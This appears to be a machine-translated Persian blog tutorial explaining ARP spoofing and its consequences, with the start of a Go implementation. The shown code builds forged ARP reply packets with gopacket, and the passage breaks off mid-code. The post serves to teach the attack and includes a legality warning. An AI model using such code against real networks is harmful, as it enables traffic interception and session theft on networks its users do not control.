\u0634\u0645\u0627 \u06a9\u0627\u0645\u0644\u0627 \u062f\u0631\u0633\u062a \u0645\u06cc \u06af\u0648\u06cc\u06cc\u062f!  \u0627\u06cc\u0646 \u0646\u0633\u0628\u062a\u0627 \u0633\u0627\u062f\u0647 \u0627\u0633\u062a.  \u0628\u0627\u0632\u06af\u0634\u062a \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u0634\u0631\u0648\u0639 \u0627\u0632 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u062f\u0631 \u0628\u0627\u0644\u0627.  \u0645\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u0647\u0627\u062c\u0645 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u062f <strong><em>\u0647\u0631\u0632\u0646\u0627\u0645\u0647 \u0647\u0627<\/em><\/strong>  ARP \u0628\u0633\u062a\u0647 \u0647\u0627 \u0631\u0627 \u067e\u0627\u0633\u062e \u062f\u0647\u06cc\u062f \u0648 \u0628\u06af\u0648\u06cc\u06cc\u062f \u06a9\u0647 \u0645\u0627 \u062f\u0633\u062a\u06af\u0627\u0647\u06cc \u0647\u0633\u062a\u06cc\u0645 \u06a9\u0647 IPv4 \u062f\u0627\u0631\u062f <code>192.168.13.37<\/code>\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0628\u0627 IPv4 <code>192.168.13.66<\/code>\u0648 \u063a\u06cc\u0631\u0647 \u0648 \u063a\u06cc\u0631\u0647 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627\u0634\u06cc\u0645 <strong>\u0647\u0631 \u062f\u0633\u062a\u06af\u0627\u0647<\/strong> \u0627\u0632 \u0634\u0628\u06a9\u0647 \u0648 \u0633\u0627\u06cc\u0631 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627 \u0631\u0627 \u0641\u0631\u06cc\u0628 \u062f\u0647\u06cc\u062f \u062a\u0627 \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u062e\u0648\u062f \u0631\u0627 \u0628\u0647 \u062c\u0627\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0642\u0627\u0646\u0648\u0646\u06cc \u0628\u0631\u0627\u06cc \u0645\u0627 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u0646\u062f.  \u0628\u0647 \u0627\u06cc\u0646 \u0645\u06cc \u06af\u0648\u06cc\u0646\u062f a <strong>\u0645\u0631\u062f \u062f\u0631 \u0648\u0633\u0637<\/strong> \u062d\u0645\u0644\u0647 \u06a9\u0646\u0646\u062f.<\/p>\n<p><img decoding=\"async\" alt=\"\u0627\u0631\u0633\u0627\u0644 \u0647\u0631\u0632\u0646\u0627\u0645\u0647 \u0628\u0647 \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u067e\u0627\u0633\u062e ARP \u062f\u0631 \u0637\u0648\u0644 \u062d\u0645\u0644\u0647 ARP Spoofing\" src=\"https:\/\/nabfollower.com\/blog\/wp-content\/uploads\/2023\/04\/1681966299_557_\ud83d\udedc-ARP-Spoofing-\u0686\u06cc\u0633\u062a\u061f.png\" loading=\"lazy\" width=\"800\" height=\"724\" title=\"\"><\/p>\n<figure><figcaption>\u0627\u0631\u0633\u0627\u0644 \u0647\u0631\u0632\u0646\u0627\u0645\u0647 \u0628\u0647 \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u067e\u0627\u0633\u062e ARP \u062f\u0631 \u0637\u0648\u0644 \u062d\u0645\u0644\u0647 ARP Spoofing<\/figcaption><\/figure>\n<\/p>\n<p>\u0634\u0627\u06cc\u0627\u0646 \u0630\u06a9\u0631 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u062d\u06cc\u0646 \u062d\u0645\u0644\u0647 ARP Spoofing \u0628\u0647 \u06cc\u06a9 \u062f\u0633\u062a\u06af\u0627\u0647 <strong>\u062d\u062a\u06cc \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a ARP \u0627\u0631\u0633\u0627\u0644 \u0646\u06a9\u0646\u062f<\/strong>\u060c \u0645\u0647\u0627\u062c\u0645 \u0641\u0642\u0637 \u0628\u0647 \u0627\u0631\u0633\u0627\u0644 \u0647\u0631\u0632\u0646\u0627\u0645\u0647 \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc \u062f\u0647\u062f.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%B9%D9%88%D8%A7%D9%82%D8%A8\"><\/span>\n<p>  \u0639\u0648\u0627\u0642\u0628<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0628\u0631\u062e\u06cc \u0627\u0632 \u067e\u06cc\u0627\u0645\u062f\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062c\u0639\u0644 ARP \u0639\u0628\u0627\u0631\u062a\u0646\u062f \u0627\u0632:<\/p>\n<ol>\n<li>\n<strong>\u0631\u0628\u0648\u062f\u0646 \u062c\u0644\u0633\u0647<\/strong>: \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u0634\u0648\u062f.<\/li>\n<li>\n<strong>\u0645\u0631\u062f \u062f\u0631 \u0648\u0633\u0637<\/strong>: \u0639\u0644\u062a <em>\u0631\u0628\u0648\u062f\u0646 \u062c\u0644\u0633\u0647<\/em> \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0628\u0633\u062a\u0647 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0645\u0647\u0627\u062c\u0645 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u0634\u0648\u0646\u062f.<\/li>\n<li>\n<strong>DDoS<\/strong>: \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc ARP Reply \u0631\u0627 \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc \u062f\u0647\u062f \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u062a\u0645\u0627\u0645 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IPv4 \u0634\u0628\u06a9\u0647 \u0627\u0633\u062a \u0627\u0633\u067e\u0645 \u06a9\u0646\u062f. <code>13:de:ad:be:ef:37<\/code> \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u0631\u0633\u0627\u0644 \u062a\u0645\u0627\u0645 \u0628\u0633\u062a\u0647 \u0647\u0627 \u0628\u0647 \u06cc\u06a9 \u0647\u062f\u0641 \u0645\u06cc \u0634\u0648\u062f.<\/li>\n<\/ol>\n<h2><span class=\"ez-toc-section\" id=\"%DA%A9%D8%AF_%D9%85%D8%AB%D8%A7%D9%84_%D8%A8%D8%B1%D8%A7%DB%8C_%D8%AC%D8%B9%D9%84_ARP\"><\/span>\n<p>  \u06a9\u062f \u0645\u062b\u0627\u0644 \u0628\u0631\u0627\u06cc \u062c\u0639\u0644 ARP<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0642\u0628\u0644 \u0627\u0632 \u067e\u0627\u06cc\u0627\u0646 \u062f\u0627\u062f\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062c\u0627\u0644\u0628 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0628\u06cc\u0646\u06cc\u062f \u0686\u06af\u0648\u0646\u0647 \u062e\u0648\u062f\u062a\u0627\u0646 \u06cc\u06a9 \u062d\u0645\u0644\u0647 ARP Spoofing \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u062f \u0648 \u062e\u0648\u062f\u062a\u0627\u0646 \u0631\u0627 \u0622\u0645\u0648\u0632\u0634 \u062f\u0647\u06cc\u062f.  \u0627\u0644\u0628\u062a\u0647 \u0645\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u0633\u062a\u06cc\u0645 \u0627\u0628\u0632\u0627\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u062a\u0648\u0633\u0637 \u200b\u200b\u0628\u0686\u0647 \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0646\u06cc\u0645\u060c \u0627\u0645\u0627 \u0627\u06cc\u0646 \u0628\u0633\u06cc\u0627\u0631 \u062e\u0633\u062a\u0647 \u06a9\u0646\u0646\u062f\u0647 \u0627\u0633\u062a&#8230;<\/p>\n<blockquote>\n<p>\u26a0\ufe0f \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0628\u0633\u062a\u0647 \u0628\u0647 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0628\u0627 ARP Spoofing \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a <strong>\u063a\u06cc\u0631 \u0645\u062c\u0627\u0632<\/strong> &#8211; \u0628\u0647 \u0634\u0645\u0627 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/p>\n<\/blockquote>\n<p>\u0645\u0646 \u06a9\u0644\u0627\u0647\u0628\u0631\u062f\u0627\u0631\u06cc ARP \u06a9\u0648\u0686\u06a9 \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 Go \u06a9\u062f\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0631\u062f\u0647\u200c\u0627\u0645 \u0632\u06cc\u0631\u0627 \u0639\u0627\u0634\u0642 \u0627\u06cc\u0646 \u0632\u0628\u0627\u0646 \u0647\u0633\u062a\u0645\u060c \u0627\u06af\u0631\u0686\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0632\u0628\u0627\u0646\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631\u060c \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644 \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0627 Scapy\u060c \u06a9\u062f\u06af\u0630\u0627\u0631\u06cc \u06a9\u0631\u062f.<\/p>\n<p>\u0628\u06cc\u0627 \u0634\u0631\u0648\u0639 \u06a9\u0646\u06cc\u0645!<\/p>\n<p><img decoding=\"async\" alt=\"\u0647\u06a9\u0631\u0647\u0627 \u0647\u06a9 \u062e\u0648\u0627\u0647\u0646\u062f \u06a9\u0631\u062f\" src=\"https:\/\/nabfollower.com\/blog\/wp-content\/uploads\/2023\/04\/1681966299_950_\ud83d\udedc-ARP-Spoofing-\u0686\u06cc\u0633\u062a\u061f.png\" loading=\"lazy\" width=\"800\" height=\"840\" title=\"\"><\/p>\n<figure><figcaption>\u0647\u06a9\u0631\u0647\u0627 \u0647\u06a9 \u062e\u0648\u0627\u0647\u0646\u062f \u06a9\u0631\u062f<\/figcaption><\/figure>\n<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%B3%D8%A7%D8%AE%D8%AA%D8%A7%D8%B1_%D8%AC%D9%84%D8%B3%D9%87\"><\/span>\n<p>  \u0633\u0627\u062e\u062a\u0627\u0631 \u062c\u0644\u0633\u0647<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0645\u0646 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647 \u0627\u0645 <code>Session<\/code> \u0633\u0627\u062e\u062a\u0627\u0631 \u062f\u0631 \u0627\u0644\u0641 <code>session.go<\/code> \u0641\u0627\u06cc\u0644 \u0628\u0631\u0627\u06cc \u0630\u062e\u06cc\u0631\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637\u0647 \u06a9\u0647 \u0628\u0639\u062f\u0627\u064b \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062e\u0648\u0627\u0647\u062f \u0634\u062f:<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight go\"><code><span class=\"k\">package<\/span> <span class=\"n\">main<\/span>\n\n<span class=\"k\">import<\/span> <span class=\"p\">(<\/span>\n    <span class=\"s\">\"github.com\/google\/gopacket\/pcap\"<\/span>\n    <span class=\"s\">\"github.com\/kkrypt0nn\/logger.go\"<\/span>\n    <span class=\"s\">\"net\"<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"c\">\/\/ Some wacky way to get the outbound IP address ^-^<\/span>\n<span class=\"k\">func<\/span> <span class=\"n\">getOutboundIP<\/span><span class=\"p\">()<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span> <span class=\"p\">{<\/span>\n      <span class=\"n\">conn<\/span><span class=\"p\">,<\/span> <span class=\"n\">err<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">Dial<\/span><span class=\"p\">(<\/span><span class=\"s\">\"udp\"<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"8.8.8.8:80\"<\/span><span class=\"p\">)<\/span>\n      <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n          <span class=\"nb\">panic<\/span><span class=\"p\">(<\/span><span class=\"n\">err<\/span><span class=\"p\">)<\/span>\n      <span class=\"p\">}<\/span>\n      <span class=\"k\">defer<\/span> <span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">Close<\/span><span class=\"p\">()<\/span>\n      <span class=\"k\">return<\/span> <span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">LocalAddr<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">UDPAddr<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">type<\/span> <span class=\"n\">Session<\/span> <span class=\"k\">struct<\/span> <span class=\"p\">{<\/span>\n      <span class=\"n\">iface<\/span>  <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">Interface<\/span>\n      <span class=\"n\">device<\/span> <span class=\"n\">pcap<\/span><span class=\"o\">.<\/span><span class=\"n\">Interface<\/span>\n      <span class=\"n\">ip<\/span>     <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span>\n      <span class=\"n\">mac<\/span>    <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">HardwareAddr<\/span>\n      <span class=\"n\">logger<\/span> <span class=\"o\">*<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Logger<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">func<\/span> <span class=\"n\">NewSession<\/span><span class=\"p\">()<\/span> <span class=\"o\">*<\/span><span class=\"n\">Session<\/span> <span class=\"p\">{<\/span>\n      <span class=\"k\">return<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">Session<\/span><span class=\"p\">{<\/span>\n          <span class=\"n\">ip<\/span><span class=\"o\">:<\/span>     <span class=\"n\">getOutboundIP<\/span><span class=\"p\">(),<\/span> <span class=\"c\">\/\/ This will try to resolve the IP, if it's inaccurate you can hard-code it..<\/span>\n        <span class=\"n\">logger<\/span><span class=\"o\">:<\/span> <span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">NewLogger<\/span><span class=\"p\">(),<\/span>\n      <span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0627\u06cc\u0646 <code>getOutboundIP<\/code> \u062a\u0627\u0628\u0639 \u0622\u062f\u0631\u0633 IP \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0631\u0627 \u062d\u0644 \u0645\u06cc \u06a9\u0646\u062f\u060c \u062f\u0631 \u0635\u0648\u0631\u062a \u062a\u0645\u0627\u06cc\u0644 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u0622\u0646 \u0631\u0627 \u0633\u062e\u062a \u06a9\u062f \u06a9\u0646\u06cc\u062f.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%B3%D8%A7%D8%AE%D8%AA_%D8%A8%D8%B3%D8%AA%D9%87_%D9%87%D8%A7%DB%8C_%D9%BE%D8%A7%D8%B3%D8%AE_ARP\"><\/span>\n<p>  \u0633\u0627\u062e\u062a \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u067e\u0627\u0633\u062e ARP<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0628\u0633\u062a\u0647\u200c\u0647\u0627\u06cc ARP Reply \u0633\u0641\u0627\u0631\u0634\u06cc\u060c \u0627\u0628\u062a\u062f\u0627 \u0628\u0627\u06cc\u062f \u06cc\u06a9 \u0644\u0627\u06cc\u0647 \u0627\u062a\u0631\u0646\u062a \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0627\u0648\u06cc \u0622\u062f\u0631\u0633\u200c\u0647\u0627\u06cc \u0633\u062e\u062a\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u0628\u062f\u0627 \u0648 \u0645\u0642\u0635\u062f \u0628\u0627\u0634\u062f.  \u0644\u0627\u06cc\u0647 \u062f\u0648\u0645\u06cc \u06a9\u0647 \u0628\u0647 \u0622\u0646 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u0628\u062f\u06cc\u0647\u06cc \u0627\u0633\u062a \u0644\u0627\u06cc\u0647 ARP \u0627\u0633\u062a\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0647\u0645 \u0622\u062f\u0631\u0633 IPv4 \u0645\u0628\u062f\u0627 \u0648 \u0645\u0642\u0635\u062f \u0648 \u0647\u0645 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631 \u0645\u0642\u0635\u062f \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc \u062f\u0647\u06cc\u0645.  \u0633\u067e\u0633 \u0628\u0627\u06cc\u062f \u0644\u0627\u06cc\u0647 \u0647\u0627 \u0631\u0627 \u0633\u0631\u06cc\u0627\u0644 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0645\u0637\u0645\u0626\u0646 \u0634\u0648\u06cc\u0645 \u06a9\u0647 \u062f\u0631\u0633\u062a \u0647\u0633\u062a\u0646\u062f\u060c \u0627\u06af\u0631 \u062f\u0631\u0633\u062a \u0647\u0633\u062a\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627\u0641\u0631 \u0631\u0627 \u0628\u0631\u06af\u0631\u062f\u0627\u0646\u06cc\u0645\u060c \u0647\u0645\u0647 \u0627\u06cc\u0646\u0647\u0627 \u062f\u0631 <code>arp.go<\/code> \u0641\u0627\u06cc\u0644:<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight go\"><code><span class=\"k\">package<\/span> <span class=\"n\">main<\/span>\n\n<span class=\"k\">import<\/span> <span class=\"p\">(<\/span>\n    <span class=\"s\">\"github.com\/google\/gopacket\"<\/span>\n    <span class=\"s\">\"github.com\/google\/gopacket\/layers\"<\/span>\n    <span class=\"s\">\"net\"<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"k\">type<\/span> <span class=\"n\">Address<\/span> <span class=\"k\">struct<\/span> <span class=\"p\">{<\/span>\n    <span class=\"n\">ip<\/span>  <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span>\n    <span class=\"n\">mac<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">HardwareAddr<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">func<\/span> <span class=\"n\">NewAddress<\/span><span class=\"p\">(<\/span><span class=\"n\">ip<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span><span class=\"p\">,<\/span> <span class=\"n\">mac<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">HardwareAddr<\/span><span class=\"p\">)<\/span> <span class=\"o\">*<\/span><span class=\"n\">Address<\/span> <span class=\"p\">{<\/span>\n    <span class=\"k\">return<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">Address<\/span><span class=\"p\">{<\/span>\n      <span class=\"n\">ip<\/span><span class=\"o\">:<\/span>  <span class=\"n\">ip<\/span><span class=\"p\">,<\/span>\n      <span class=\"n\">mac<\/span><span class=\"o\">:<\/span> <span class=\"n\">mac<\/span><span class=\"p\">,<\/span>\n    <span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">func<\/span> <span class=\"p\">(<\/span><span class=\"n\">a<\/span> <span class=\"o\">*<\/span><span class=\"n\">Address<\/span><span class=\"p\">)<\/span> <span class=\"n\">GetIP<\/span><span class=\"p\">()<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span> <span class=\"p\">{<\/span>\n      <span class=\"k\">return<\/span> <span class=\"n\">a<\/span><span class=\"o\">.<\/span><span class=\"n\">ip<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">func<\/span> <span class=\"p\">(<\/span><span class=\"n\">a<\/span> <span class=\"o\">*<\/span><span class=\"n\">Address<\/span><span class=\"p\">)<\/span> <span class=\"n\">GetMAC<\/span><span class=\"p\">()<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">HardwareAddr<\/span> <span class=\"p\">{<\/span>\n      <span class=\"k\">return<\/span> <span class=\"n\">a<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">var<\/span> <span class=\"n\">Options<\/span> <span class=\"o\">=<\/span> <span class=\"n\">gopacket<\/span><span class=\"o\">.<\/span><span class=\"n\">SerializeOptions<\/span><span class=\"p\">{<\/span>\n      <span class=\"n\">FixLengths<\/span><span class=\"o\">:<\/span>       <span class=\"no\">true<\/span><span class=\"p\">,<\/span>\n      <span class=\"n\">ComputeChecksums<\/span><span class=\"o\">:<\/span> <span class=\"no\">true<\/span><span class=\"p\">,<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"k\">func<\/span> <span class=\"n\">NewARPReplyPacket<\/span><span class=\"p\">(<\/span><span class=\"n\">src<\/span> <span class=\"o\">*<\/span><span class=\"n\">Address<\/span><span class=\"p\">,<\/span> <span class=\"n\">dst<\/span> <span class=\"o\">*<\/span><span class=\"n\">Address<\/span><span class=\"p\">)<\/span> <span class=\"p\">([]<\/span><span class=\"kt\">byte<\/span><span class=\"p\">,<\/span> <span class=\"kt\">error<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\n      <span class=\"n\">ethLayer<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">layers<\/span><span class=\"o\">.<\/span><span class=\"n\">Ethernet<\/span><span class=\"p\">{<\/span>\n          <span class=\"n\">SrcMAC<\/span><span class=\"o\">:<\/span>       <span class=\"n\">src<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">DstMAC<\/span><span class=\"o\">:<\/span>       <span class=\"n\">dst<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">EthernetType<\/span><span class=\"o\">:<\/span> <span class=\"n\">layers<\/span><span class=\"o\">.<\/span><span class=\"n\">EthernetTypeARP<\/span><span class=\"p\">,<\/span>\n      <span class=\"p\">}<\/span>\n      <span class=\"n\">arpLayer<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">layers<\/span><span class=\"o\">.<\/span><span class=\"n\">ARP<\/span><span class=\"p\">{<\/span>\n          <span class=\"n\">AddrType<\/span><span class=\"o\">:<\/span>          <span class=\"n\">layers<\/span><span class=\"o\">.<\/span><span class=\"n\">LinkTypeEthernet<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">Protocol<\/span><span class=\"o\">:<\/span>          <span class=\"n\">layers<\/span><span class=\"o\">.<\/span><span class=\"n\">EthernetTypeIPv4<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">HwAddressSize<\/span><span class=\"o\">:<\/span>     <span class=\"m\">6<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">ProtAddressSize<\/span><span class=\"o\">:<\/span>   <span class=\"m\">4<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">Operation<\/span><span class=\"o\">:<\/span>         <span class=\"n\">layers<\/span><span class=\"o\">.<\/span><span class=\"n\">ARPReply<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">SourceHwAddress<\/span><span class=\"o\">:<\/span>   <span class=\"n\">src<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">SourceProtAddress<\/span><span class=\"o\">:<\/span> <span class=\"n\">src<\/span><span class=\"o\">.<\/span><span class=\"n\">ip<\/span><span class=\"o\">.<\/span><span class=\"n\">To4<\/span><span class=\"p\">(),<\/span>\n          <span class=\"n\">DstHwAddress<\/span><span class=\"o\">:<\/span>      <span class=\"n\">dst<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span><span class=\"p\">,<\/span>\n          <span class=\"n\">DstProtAddress<\/span><span class=\"o\">:<\/span>    <span class=\"n\">dst<\/span><span class=\"o\">.<\/span><span class=\"n\">ip<\/span><span class=\"o\">.<\/span><span class=\"n\">To4<\/span><span class=\"p\">(),<\/span>\n      <span class=\"p\">}<\/span>\n\n      <span class=\"n\">buffer<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">gopacket<\/span><span class=\"o\">.<\/span><span class=\"n\">NewSerializeBuffer<\/span><span class=\"p\">()<\/span>\n      <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">gopacket<\/span><span class=\"o\">.<\/span><span class=\"n\">SerializeLayers<\/span><span class=\"p\">(<\/span><span class=\"n\">buffer<\/span><span class=\"p\">,<\/span> <span class=\"n\">Options<\/span><span class=\"p\">,<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">ethLayer<\/span><span class=\"p\">,<\/span> <span class=\"o\">&amp;<\/span><span class=\"n\">arpLayer<\/span><span class=\"p\">);<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n          <span class=\"k\">return<\/span> <span class=\"no\">nil<\/span><span class=\"p\">,<\/span> <span class=\"n\">err<\/span>\n      <span class=\"p\">}<\/span>\n      <span class=\"k\">return<\/span> <span class=\"n\">buffer<\/span><span class=\"o\">.<\/span><span class=\"n\">Bytes<\/span><span class=\"p\">(),<\/span> <span class=\"no\">nil<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon 